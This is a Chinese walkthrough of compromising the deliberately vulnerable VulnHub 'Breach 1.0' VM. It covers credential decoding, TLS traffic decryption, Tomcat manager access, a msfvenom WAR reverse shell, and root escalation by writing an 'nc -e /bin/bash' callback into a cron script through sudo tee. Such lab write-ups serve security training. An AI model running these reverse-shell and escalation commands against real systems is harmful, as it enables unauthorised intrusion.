目录
配置靶机网络
下载网址 https://download.vulnhub.com/breach/Breach-1.0.zip
作者提示:The VM is configured with a static IP address (192.168.110.140) so you will need to configure your host-only adaptor to this subnet.
意思是靶机已经配置了静态IP地址为192.168.110.140,所以为了和靶机通行需要把kali主机的网卡设置一下。
这里在virtualbox中可以配置一块新的网卡,为了在同一地址段,设置如下。
然后让靶机和kali主机通过这个网卡连接。使用host-only的方式。
信息收集
端口扫描
先扫描下端口,习惯性的采用全面扫描的方式
nmap -A -T4 -v 192.168.110.140
这里发现打开了相当多的端口,大概是有防止探测端口的策略
使用秘密扫描能绕过这个策略。
通过扫描结果,这里大概了解到打开了80端口的web服务,在8443端口上有https加密之类的服务
网站信息收集
打开网站,首页没有什么信息
查看页面源码
网站源码注释有一段字符
Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJo
解码
pgibbons:damnitfeelg o o d t o b e a g a n g goodtobeaganggoodtobeagangta,看上去像一个帐号密码。
源码中有个地址
打开后
这里可以先用nikto简单扫描一下
mikto -host http://192.168.110.140
这里发现一个敏感目录images可以看看
http://192.168.110.140/images/
分别打开这些图片看看
这里有张有趣的图片bill.png ,上面的意思是查看一下源码。看来这是一个提示。
查看首页的源代码,发现一串可疑的下注释数据
把这串字符拿去base64解码,需要解两次
最终获得pgibbons:damnitfeel$goodtobeagang$ta
查找网站漏洞
找一些网站是否存在一些漏洞可以利用
查看一下initech.html页面的源码,也有个小提示
I'm sitting on a beach reading your email | 我坐在沙滩上看你的邮件
点击Employee portal,会进入一个impresscms的网页,输入我们前面获取的用户名密码
登录后发现Inbox似乎有特殊内容。
inbox里面确实存放的是邮件,我们现在使用的用户是pgibbons
第1封邮件,是bill给peter的,主要内容:让你的团队只能向管理门户发布任何敏感的内容。我的密码非常安全。
第2封邮件,是Michael给Peter的,主要内容:Michael采购了IDS/IPS。(扫描端口遇到障碍估计就是这个原因)
第3封邮件比较关键,看不懂,反正就是说感谢购买什么秘密证书,有个ssl证书请不要泄漏,然后猪队友所保存了文件在 192.168.110.140/.keystoreBob 中
访问http://192.168.110.140/.keystore下载包含SSL证书的密钥库keystore文件,keystore是存储公私密钥的一种文件格式。
查看其他地方,看有什么收获
点击View Account菜单进入界面,再依次点击页面的Content,会弹出一行链接Content SSL implementation test capture,点击链接
点击完上图的链接,跳转到如下界面,标题SSL implementation test capture,翻译过来就是SSL实施测试捕获。大概是测试ssl服务用的。里面的内容大概就是peter的抱怨,这个ssl是什么呀,难道我们被加密了吗。
其中“They told me the alias, storepassword and keypassword are all set to 'tomcat'. ”表示别名、存储密码和密钥密码都设置为“tomcat”
其中可以看到一个名为:_SSL_test_phase1.pcap的Wireshark流量包文件,点击即可下载
对于cms漏洞的利用,这里有个sql注入漏洞,然而我打开漏洞的页面却被重定向了,看别人似乎也用不了这个cms漏洞。
wireshark分析包
root@kali:~/下载# ngrep -I _SSL_test_phase1.pcap
input: _SSL_test_phase1.pcap
#
U 192.168.110.1:51260 -> 192.168.110.255:32412
M-SEARCH * HTTP/1.1..
#
U 192.168.110.1:51265 -> 192.168.110.255:32414
M-SEARCH * HTTP/1.1..
####
T 192.168.110.129:60149 -> 192.168.110.140:8443 [AP]
...........n..>K...&..Z...0..7../|.fBym........+./...............3.2.E.9.8...../.A.5...........B........................#..3t....................
.................
##
root@kali:~/下载##看到了-192.168.110.140:8443 [AP]
root@kali:~/下载# ngrep -i nethunter -I _SSL_test_phase1.pcap
input: _SSL_test_phase1.pcap
match: nethunter
###############################################################################
U 192.168.110.129:38030 -> 192.168.110.1:53
q............www.nethunter.com.....
#
U 192.168.110.129:38030 -> 192.168.110.1:53
.............www.nethunter.com.....
########exit
root@kali:~/下载# ngrep -I _SSL_test_phase1.pcap -Wbyline ‘HTTP’
input: _SSL_test_phase1.pcap
match: ‘HTTP’
########################################################################################exit
root@kali:~/下载# tcpick -C -yP -r _SSL_test_phase1.pcap
Starting tcpick 0.2.1 at 2018-10-25 11:31 CST
Timeout for connections is 600
tcpick: reading from _SSL_test_phase1.pcap
M-SEARCH * HTTP/1.1
M-SEARCH * HTTP/1.1
1 SYN-SENT 192.168.110.129:60149 > 192.168.110.140:8443
1 SYN-RECEIVED 192.168.110.129:60149 > 192.168.110.140:8443
1 ESTABLISHED 192.168.110.129:60149 > 192.168.110.140:8443
...........n..>K...&..Z...0..7../|.fBym........+./.
. ...........3.2.E.9.8...../.A.5...
root@kali:~/下载# tcpdump -qns 0 -X -r _SSL_test_phase1.pcap
reading from file _SSL_test_phase1.pcap, link-type EN10MB (Ethernet)
00:56:50.635257 IP 192.168.110.1.51260 > 192.168.110.255.32412: UDP, length 21
0x0000: 4500 0031 49f4 0000 8011 9276 c0a8 6e01 E..1I......v..n.
0x0010: c0a8 6eff c83c 7e9c 001d e44a 4d2d 5345 ..n..<~....JM-SE
0x0020: 4152 4348 202a 2048 5454 502f 312e 310d ARCH.*.HTTP/1.1.
0x0030: 0a .
00:56:50.635479 IP 192.168.110.1.51265 > 192.168.110.255.32414: UDP, length 21
0x0000: 4500 0031 49f5 0000 8011 9275 c0a8 6e01 E..1I......u..n.
0x0010: c0a8 6eff c841 7e9e 001d e443 4d2d 5345 ..n..A~....CM-SE
0x0020: 4152 4348 202a 2048 5454 502f 312e 310d ARCH.*.HTTP/1.1.
0x0030: 0a .
00:56:51.649313 IP 192.168.110.129.60149 > 192.168.110.140.8443: tcp 0
0x0000: 4500 003c eaee 4000 4006 f16e c0a8 6e81 E..<..@.@..n..n.
0x0010: c0a8 6e8c eaf5 20fb 3032 2547 0000 0000 ..n.....02%G....
0x0020: a002 7210 5e8d 0000 0204 05b4 0402 080a ..r.^...........
0x0030: 0275 cfa9 0000 0000 0103 030a .u..........
00:56:51.649650 IP 192.168.110.140.8443 > 192.168.110.129.60149: tcp 0
0x0000: 4500 003c 0000 4000 4006 dc5d c0a8 6e8c E..<..@.@..]..n.
0x0010: c0a8 6e81 20fb eaf5 870c 8eca 3032 2548 ..n.........02%H
0x0020: a012 7120 c50b 0000 0204 05b4 0402 080a ..q.............
0x0030: 0041 69c3 0275 cfa9 0103 0307 .Ai..u......
00:56:51.649667 IP 192.168.110.129.60149 > 192.168.110.140.8443: tcp 0
0x0000: 4500 0034 eaef 4000 4006 f175 c0a8 6e81 E..4..@.@..u..n.
0x0010: c0a8 6e8c eaf5 20fb 3032 2548 870c 8ecb ..n.....02%H....
0x0020: 8010 001d 5e85 0000 0101 080a 0275 cfa9 ....^........u..
0x0030: 0041 69c3 .Ai.
root@kali:~/下载# tshark -r _SSL_test_phase1.pcap
Running as user "root" and group "root". This could be dangerous.
tshark: Lua: Error during loading:
[string "/usr/share/wireshark/init.lua"]:44: dofile has been disabled due to running Wireshark as superuser. See https://wiki.wireshark.org/CaptureSetup/CapturePrivileges for help in running Wireshark as an unprivileged user.
1 0.000000 192.168.110.1 → 192.168.110.255 UDP 63 51260 → 32412 Len=21
2 0.000222 192.168.110.1 → 192.168.110.255 UDP 63 51265 → 32414 Len=21
3 1.014056 192.168.110.129 → 192.168.110.140 TCP 74 60149 → 8443 [SYN] Seq=0 Win=29200 Len=0 MSS=1460 SACK_PERM=1 TSval=41275305 TSecr=0 WS=1024
4 1.014393 192.168.110.140 → 192.168.110.129 TCP 74 8443 → 60149 [SYN, ACK] Seq=0 Ack=1 Win=28960 Len=0 MSS=1460 SACK_PERM=1 TSval=4286915 TSecr=41275305 WS=128
5 1.014410 192.168.110.129 → 192.168.110.140 TCP 66 60149 → 8443 [ACK] Seq=1 Ack=1 Win=29696 Len=0 TSval=41275305 TSecr=4286915
6 1.014675 192.168.110.129 → 192.168.110.140 SSL 228 Client Hello
7 1.015391 192.168.110.140 → 192.168.110.129 TCP 66 8443 → 60149 [ACK] Seq=1 Ack=163 Win=28800 Len=0 TSval=4286915 TSecr=41275305
8 1.015909 192.168.110.140 → 192.168.110.129 TLSv1.2 1057 Server Hello, Certificate, Server Hello Done
9 1.015916 192.168.110.129 → 192.168.110.140 TCP 66 60149 → 8443 [ACK] Seq=163 Ack=992 Win=31744 Len=0 TSval=41275305 TSecr=4286915
10 1.026804 192.168.110.129 → 192.168.110.140 TLSv1.2 376 Client Key Exchange, Change Cipher Spec, Finished
11 1.034921 192.168.110.140 → 192.168.110.129 TLSv1.2 72 Change Cipher Spec
12 1.034938 192.168.110.140 → 192.168.110.129 TLSv1.2 103 Finished
13 1.034973 192.168.110.129 → 192.168.110.140 TCP 66 60149 → 8443 [ACK] Seq=473 Ack=1035 Win=31744 Len=0 TSval=41275310 TSecr=4286920
14 1.035146 192.168.110.129 → 192.168.110.140 HTTP 1338 GET /_M@nag3Me/html HTTP/1.1
15 1.073510 192.168.110.140 → 192.168.110.129 TCP 66 8443 → 60149 [ACK] Seq=1035 Ack=1745 Win=27392 Len=0 TSval=4286930 TSecr=41275310
16 1.101009 192.168.110.140 → 192.168.110.129 TLSv1.2 3039 [SSL segment of a reassembled PDU]
17 1.101034 192.168.110.129 → 192.168.110.140 TCP 66 60149 → 8443 [ACK] Seq=1745 Ack=4008 Win=37888 Len=0 TSval=41275326 TSecr=4286936
18 1.101477 192.168.110.140 → 192.168.110.129 HTTP 92 HTTP/1.1 401 Unauthorized (text/html)
19 1.138007 192.168.110.129 → 192.168.110.140 TCP 66 60149 → 8443 [ACK] Seq=1745 Ack=4034 Win=37888 Len=0 TSval=41275336 TSecr=4286936
20 3.798191 192.168.110.129 → 192.168.110.1 DNS 84 Standard query 0x879b A www.kali.org.localdomain
21 3.798256 192.168.110.129 → 192.168.110.1 DNS 84 Standard query 0xd8c9 AAAA www.kali.org.localdomain
22 3.798296 192.168.110.129 → 192.168.110.1 DNS 86 Standard query 0x0b03 A tools.kali.org.localdomain
23 3.798322 192.168.110.129 → 192.168.110.1 DNS 86 Standard query 0xb495 AAAA tools.kali.org.localdomain
24 3.798355 192.168.110.129 → 192.168.110.1 DNS 98 Standard query 0xc7d8 A www.offensive-security.com.localdomain
25 3.798380 192.168.110.129 → 192.168.110.1 DNS 98 Standard query 0x906a AAAA www.offensive-security.com.localdomain
26 4.374997 192.168.110.129 → 192.168.110.140 HTTP 1397 GET /_M@nag3Me/html HTTP/1.1
27 4.375200 192.168.110.140 → 192.168.110.129 TCP 66 8443 → 60149 [ACK] Seq=4034 Ack=3076 Win=26112 Len=0 TSval=4287755 TSecr=41276145
28 4.419784 192.168.110.140 → 192.168.110.129 TCP 14546 [TCP segment of a reassembled PDU]
29 4.419808 192.168.110.129 → 192.168.110.140 TCP 66 60149 → 8443 [ACK] Seq=3076 Ack=18514 Win=66560 Len=0 TSval=41276156 TSecr=4287766
30 4.420737 192.168.110.140 → 192.168.110.129 TLSv1.2 96 [SSL segment of a reassembled PDU]
31 4.420743 192.168.110.129 → 192.168.110.140 TCP 66 60149 → 8443 [ACK] Seq=3076 Ack=18544 Win=66560 Len=0 TSval=41276156 TSecr=4287766
32 4.421745 192.168.110.140 → 192.168.110.129 HTTP 92 HTTP/1.1 200 OK (text/html)
33 4.421751 192.168.110.129 → 192.168.110.140 TCP 66 60149 → 8443 [ACK] Seq=3076 Ack=18570 Win=66560 Len=0 TSval=41276156 TSecr=4287766
34 4.478550 192.168.110.129 → 192.168.110.140 HTTP 1525 GET /_M@nag3Me/images/asf-logo.gif HTTP/1.1
35 4.479304 192.168.110.140 → 192.168.110.129 TCP 66 8443 → 60149 [ACK] Seq=18570 Ack=4535 Win=25216 Len=0 TSval=4287781 TSecr=41276171
36 4.479828 192.168.110.129 → 192.168.110.140 TCP 74 60150 → 8443 [SYN] Seq=0 Win=29200 Len=0 MSS=1460 SACK_PERM=1 TSval=41276171 TSecr=0 WS=1024
37 4.480803 192.168.110.140 → 192.168.110.129 TCP 74 8443 → 60150 [SYN, ACK] Seq=0 Ack=1 Win=28960 Len=0 MSS=1460 SACK_PERM=1 TSval=4287781 TSecr=41276171 WS=128
38 4.480816 192.168.110.129 → 192.168.110.140 TCP 66 60150 → 8443 [ACK] Seq=1 Ack=1 Win=29696 Len=0 TSval=41276171 TSecr=4287781
39 4.480954 192.168.110.129 → 192.168.110.140 SSL 260 Client Hello
40 4.481820 192.168.110.140 → 192.168.110.129 TCP 66 8443 → 60150 [ACK] Seq=1 Ack=195 Win=30080 Len=0 TSval=4287781 TSecr=41276171
41 4.486811 192.168.110.140 → 192.168.110.129 TLSv1.2 152 Server Hello
42 4.486820 192.168.110.129 → 192.168.110.140 TCP 66 60150 → 8443 [ACK] Seq=195 Ack=87 Win=29696 Len=0 TSval=41276173 TSecr=4287783
43 4.486962 192.168.110.140 → 192.168.110.129 TLSv1.2 72 Change Cipher Spec
44 4.486968 192.168.110.129 → 192.168.110.140 TCP 66 60150 → 8443 [ACK] Seq=195 Ack=93 Win=29696 Len=0 TSval=41276173 TSecr=4287783
45 4.487315 192.168.110.140 → 192.168.110.129 TLSv1.2 103 Finished
46 4.487323 192.168.110.129 → 192.168.110.140 TCP 66 60150 → 8443 [ACK] Seq=195 Ack=130 Win=29696 Len=0 TSval=41276173 TSecr=4287783
47 4.487438 192.168.110.129 → 192.168.110.140 TLSv1.2 109 Change Cipher Spec, Finished
48 4.491327 192.168.110.140 → 192.168.110.129 HTTP 210 HTTP/1.1 304 Not Modified
49 4.491343 192.168.110.129 → 192.168.110.140 TCP 66 60149 → 8443 [ACK] Seq=4535 Ack=18714 Win=69632 Len=0 TSval=41276174 TSecr=4287784
50 4.526361 192.168.110.140 → 192.168.110.129 TCP 66 8443 → 60150 [ACK] Seq=130 Ack=238 Win=30080 Len=0 TSval=4287793 TSecr=41276173
51 4.590181 192.168.110.129 → 192.168.110.140 HTTP 1523 GET /_M@nag3Me/images/tomcat.gif HTTP/1.1
52 4.590411 192.168.110.140 → 192.168.110.129 TCP 66 8443 → 60150 [ACK] Seq=130 Ack=1695 Win=28672 Len=0 TSval=4287809 TSecr=41276199
53 4.591910 192.168.110.140 → 192.168.110.129 HTTP 210 HTTP/1.1 304 Not Modified
54 4.610733 192.168.110.129 → 192.168.110.140 HTTP 1335 GET /favicon.ico HTTP/1.1
55 4.612935 192.168.110.140 → 192.168.110.129 HTTP 1210 HTTP/1.1 404 Not Found (text/html)
56 4.612947 192.168.110.129 → 192.168.110.140 TCP 66 60149 → 8443 [ACK] Seq=5804 Ack=19858 Win=72704 Len=0 TSval=41276204 TSecr=4287814
57 4.629950 192.168.110.129 → 192.168.110.140 TCP 66 60150 → 8443 [ACK] Seq=1695 Ack=274 Win=30720 Len=0 TSval=41276209 TSecr=4287809
58 5.000331 192.168.110.1 → 192.168.110.255 UDP 63 51260 → 32412 Len=21
59 5.000804 192.168.110.1 → 192.168.110.255 UDP 63 51265 → 32414 Len=21
60 6.804832 192.168.110.129 → 192.168.110.140 HTTP 1382 GET /cmd/ HTTP/1.1
61 6.806695 192.168.110.140 → 192.168.110.129 HTTP 1196 HTTP/1.1 404 Not Found (text/html)
62 6.806710 192.168.110.129 → 192.168.110.140 TCP 66 60149 → 8443 [ACK] Seq=7120 Ack=20988 Win=75776 Len=0 TSval=41276753 TSecr=4288363
63 6.936350 192.168.110.1 → 239.255.255.250 SSDP 215 M-SEARCH * HTTP/1.1
64 6.936361 192.168.110.1 → 239.255.255.250 SSDP 215 M-SEARCH * HTTP/1.1
65 8.803369 192.168.110.129 → 192.168.110.1 DNS 84 Standard query 0x879b A www.kali.org.localdomain
66 8.803477 192.168.110.129 → 192.168.110.1 DNS 84 Standard query 0xd8c9 AAAA www.kali.org.localdomain
67 8.803556 192.168.110.129 → 192.168.110.1 DNS 86 Standard query 0x0b03 A tools.kali.org.localdomain
68 8.803608 192.168.110.129 → 192.168.110.1 DNS 86 Standard query 0xb495 AAAA tools.kali.org.localdomain
69 8.803663 192.168.110.129 → 192.168.110.1 DNS 98 Standard query 0xc7d8 A www.offensive-security.com.localdomain
70 8.803713 192.168.110.129 → 192.168.110.1 DNS 98 Standard query 0x906a AAAA www.offensive-security.com.localdomain
71 9.770143 192.168.110.129 → 192.168.110.140 HTTP 1335 GET /cmd/cmd.jsp HTTP/1.1
72 9.778658 192.168.110.140 → 192.168.110.129 HTTP 472 HTTP/1.1 200 OK (text/html)
73 9.778679 192.168.110.129 → 192.168.110.140 TCP 66 60149 → 8443 [ACK] Seq=8389 Ack=21394 Win=77824 Len=0 TSval=41277496 TSecr=4289106
74 10.000381 192.168.110.1 → 192.168.110.255 UDP 63 51260 → 32412 Len=21
75 10.000394 192.168.110.1 → 192.168.110.255 UDP 63 51265 → 32414 Len=21
76 13.739966 192.168.110.129 → 192.168.110.140 HTTP 1438 GET /cmd/cmd.jsp?cmd=id HTTP/1.1
77 13.754746 192.168.110.140 → 192.168.110.129 HTTP 466 HTTP/1.1 200 OK (text/html)
78 13.754774 192.168.110.129 → 192.168.110.140 TCP 66 60149 → 8443 [ACK] Seq=9761 Ack=21794 Win=80896 Len=0 TSval=41278490 TSecr=4290100
79 13.806812 192.168.110.129 → 192.168.110.1 DNS 77 Standard query 0x71c0 A www.nethunter.com
80 13.806867 192.168.110.129 → 192.168.110.1 DNS 77 Standard query 0x8ec8 AAAA www.nethunter.com
81 13.806956 192.168.110.129 → 192.168.110.1 DNS 78 Standard query 0xa17c A www.exploit-db.com
82 13.806986 192.168.110.129 → 192.168.110.1 DNS 78 Standard query 0x4e6a AAAA www.exploit-db.com
83 13.807066 192.168.110.129 → 192.168.110.1 DNS 76 Standard query 0xe5e7 A www.facebook.com
84 13.807095 192.168.110.129 → 192.168.110.1 DNS 76 Standard query 0xe26b AAAA www.facebook.com
85 14.590232 192.168.110.129 → 192.168.110.140 TCP 66 [TCP Keep-Alive] 60150 → 8443 [ACK] Seq=1694 Ack=274 Win=30720 Len=0 TSval=41278699 TSecr=4287809
86 14.590472 192.168.110.140 → 192.168.110.129 TCP 66 [TCP Keep-Alive ACK] 8443 → 60150 [ACK] Seq=274 Ack=1695 Win=28672 Len=0 TSval=4290309 TSecr=41276209
87 15.000596 192.168.110.1 → 192.168.110.255 UDP 63 51260 → 32412 Len=21
88 15.001155 192.168.110.1 → 192.168.110.255 UDP 63 51265 → 32414 Len=21
root@kali:~/下载# tshark -r _SSL_test_phase1.pcap | grep -i get
Running as user "root" and group "root". This could be dangerous.
tshark: Lua: Error during loading:
[string "/usr/share/wireshark/init.lua"]:44: dofile has been disabled due to running Wireshark as superuser. See https://wiki.wireshark.org/CaptureSetup/CapturePrivileges for help in running Wireshark as an unprivileged user.
14 1.035146 192.168.110.129 → 192.168.110.140 HTTP 1338 GET /_M@nag3Me/html HTTP/1.1
26 4.374997 192.168.110.129 → 192.168.110.140 HTTP 1397 GET /_M@nag3Me/html HTTP/1.1
34 4.478550 192.168.110.129 → 192.168.110.140 HTTP 1525 GET /_M@nag3Me/images/asf-logo.gif HTTP/1.1
51 4.590181 192.168.110.129 → 192.168.110.140 HTTP 1523 GET /_M@nag3Me/images/tomcat.gif HTTP/1.1
54 4.610733 192.168.110.129 → 192.168.110.140 HTTP 1335 GET /favicon.ico HTTP/1.1
60 6.804832 192.168.110.129 → 192.168.110.140 HTTP 1382 GET /cmd/ HTTP/1.1
71 9.770143 192.168.110.129 → 192.168.110.140 HTTP 1335 GET /cmd/cmd.jsp HTTP/1.1
76 13.739966 192.168.110.129 → 192.168.110.140 HTTP 1438 GET /cmd/cmd.jsp?cmd=id HTTP/1.1
使用wireshark打开下载的
文件
keystore
发现其中确实存在TLS加密协议,最新版wireshark已经 ssl 改为 tls,其实ssl/tls都已统称通信加密协议
查看keystore这个密钥库里面的所有证书 。密钥库口令输入tomcat
keytool -list -keystore keystore
从密钥库导出.p12证书
keytool -importkeystore -srckeystore keystore -destkeystore tomcatkeystore.p12 -deststoretype pkcs12 -srcalias tomcat
_SSL_test_phase1.pcap
将p12证书导入Wireshark
配置如下:
192.168.110.140 8443 http 证书存放路径 tomcat(这里8443端口我们有使用nmap探测出来,其次查看加密前的文件也会发现数据流向这个端口)
导入证书后,https流量已经被解密,查看每个http流量包
从流量包文件中得到tomcat后台URL和密码
(1) 导入证书后,https流量已经被解密,查看每个http流量包:
发现从192.168.110.129到192.168.110.140的攻击流量包,其中有cmd命令马执行了id命令,攻击者上传了两张图片,疑似图片马,但是命令马无法直接访问,需要登录tomcat后台:
(2) 获得Tomcat后台登录地址和用户名密码
继续观察流量包,发现一个Unauthorized的认证包,该request和response包含了Tomcat后台的登录地址:https://192.168.110.140:8443/_M@nag3Me/html
发现包含登录用户名密码的数据包, 采用http basic认证,认证数据包为:Basic dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC
这是base64编码的用户名密码,将dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC复制到Burpsuit Decoder进行解码,得到Tomcat登录用户名密码
Tomcat后台登录用户名:tomcat,密码:Tt\5D8F(#!*u=G)4m7zB
找到后台页面
在解密的http流量中,发现如下敏感目录
访问这个目录,发现建立连接失败
https://192.168.110.140:8443/_M@nag3Me/html
使用burp代理,其中burp为放包状态
登录后发现需要输入用户名密码
回头继续看其它的http流量,发现其中暴露了一个basic认证过程
wireshark提供了解密:tomcat:Tt\5D8F(#!*u=G)4m7zB
使用这个帐号密码登录刚刚的页面。
获取shell
使用菜刀失败
在这个页面具有上传文件的功能
限制了上传文件的后缀
将文件通过zip打包后,修改后缀名为.war
感觉能连接到这个文件
使用菜刀出现如下报错
百度了一下,可能原因为:https通过TSLv1和TSLv1.2协议通信。
假如服务器端设置是TSLv1.2,而客服端是TSLv1, 访问就会出现Remote host closed connection during handshake的错误.
使用msf
使用msf生成一个反弹shell的payload
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.110.1 lport=4444 -f war -o shell.war
配置payload的处理器
use exploit/multi/handler
set payload java/meterpreter/reverse_tcp
set lhost 192.168.110.1
set lport 4444
运行
成功拿到shell
提权
获取交互式shell
python -c "import pty;pty.spawn('/bin/bash')"
查看passwd文件,看下有什么用户
切换到网站根目录,网页部署目录/var/www/5446/,查看当前文件下的文件
两个php文件内容相同,在其中找到了mysql的配置,获取到了root用户空密码的信息
使用root用户连接mysql,查看数据库有哪些
切换到mysql数据库,查看这个数据库中的表
查询表中的列
show columns from user;
查找关键字段
select user,password from user;
得到一条有用的数据,使用md5解密密码
| milton | 6450d89bd3aff1d893b85d3ad65d2ec2
获取密码thelaststraw
切换到我们刚获取的新用户
在新用户milton的家目录下寻找信息。但似乎没有关键信息
查看有没有隐藏文件
查看保存历史命令输入的文件,发现milton有切换到blumbergh用户的记录
尝试从图片中收集可能的信息,使用strings打印各图片其中的可打印字符,保存在文件中
分析保存的这些字符,找到一个可能的密码coffeestains。(只有这个是唯一的单词)
使用coffeestains尝试登录blumbergh用户
在blumbergh家目录下查看所有文件
查看执行过的命令
中间出现了一个脚本,查看这个脚本文件
这段脚本的意思是切换到/var/lib/tomcat6/webapps目录下,然后寻找swingline目录下的文件,并清除。xargs 可以将管道或标准输入(stdin)数据转换成命令行参数。
查看blumbergh用户可以sudo执行的命令,发现可以通过sudo执行root权限的tee命令和tidyuo脚本
tee命令用于读取标准输入的数据,并将其内容输出成文件。
查看这个脚本文件的权限,只能由root用户写
提权过程
先写入反弹shell命令到文件中
echo "nc 192.168.110.1 5555 -e /bin/bash" >> shell.txt
然后把反弹shell命令通过sudo执行tee命令写入到tidyuo.sh脚本中
cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh
攻击机将提前开启监听
获取flag
总结
主要突破点:
(1) 从网页源码和图片字符中解密出CMS和Tomcat的账号、密码。
(2) 导入ssl证书到Wireshark中解密经过SSL加密的流量,获得Tomcat后台登录URL和账号密码。
(3) Tomcat后台get shell姿势要熟练。
(4) 提权:找到两个账号的密码,发现可以root权限执行的tee命令和tidyup.sh清理脚本,通过计划任务反弹root shell。
难点和踩到的坑:
(1) 使用keytool导出SSL证书:这是非常规渗透知识,需要查阅原理和工具使用,耗费时间较多。
(2) Tomcat后台get shell后,已上传的菜刀马总是被杀,每次传上去过不了几分钟没了,当时以为该系统安装了杀毒软件或web shell清理工具,实际是因为主机tidyup.sh清理脚本,每3分钟清理一次。反弹出一个shell就可以持续使用shell了。
(3) 连接mysql执行命令,没有回显。菜刀执行命令超时,nc中只有exit退出时才回显,当时打算放弃了,才exit退出,结果退出才有回显,发现了milton账号的密码哈希。山重水复疑无路,柳暗花明又一村。
(4) 花费较多时间进行两次账号切换,再反弹root shell提权。发现和利用tidyup.sh需要较多时间。
(5) 通过crontab的计划任务,反弹root shell的方式,在真实渗透测试中是常见的,比如redis的root空口令挖矿,可以ssh证书连接,也可以写root cront
ab反弹,但是在Vulnhub中第一次遇到,对初学者有难度。
知识点:
keystore
是存储公私密码的一种文件格式
keytool
root@kali:~
##查看keystore这个密钥库里面的所有证书
root@kali:~
# keytool -list -keystore ./下载/keystore
root@kali:~
##从密钥库导出.p12证书
root@kali:~
# keytool -importkeystore -srckeystore ./下载/keystore -destkeystore ./tomcatkeystore.p12 -deststoretype PKCS12 -srcalias tomcat
查看pcap
ngrep
ngrep -I _SSL_test_phase1.pcap
ngrep -i nethunter -I _SSL_test_phase1.pcap
ngrep -I _SSL_test_phase1.pcap -Wbyline ‘HTTP’
tcpick
tcpick -C -yP -r _SSL_test_phase1.pcap
tcpdump
tcpdump -qns 0 -X -r _SSL_test_phase1.pcap
tshark
tshark -r _SSL_test_phase1.pcap
tshark -r _SSL_test_phase1.pcap | grep -i get
火狐访问tls
进入about:config并添加字符串security.tls.insecure_fallback_hosts 192.168.110.140
代理 所有协议 访问8080
生成木马
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.110.23 LPORT=443 -f war > breach.war
python搭建简单web
python -m SimpleHTTPServer
python解决无法su
python -c
'import pty;pty.spawn("/bin/bash")'
用tee进行提权
echo
"nc 192.168.110.20 4445 -e /bin/bash"
|
sudo
/usr/bin/tee
/usr/share/cleanup/tidyup
.sh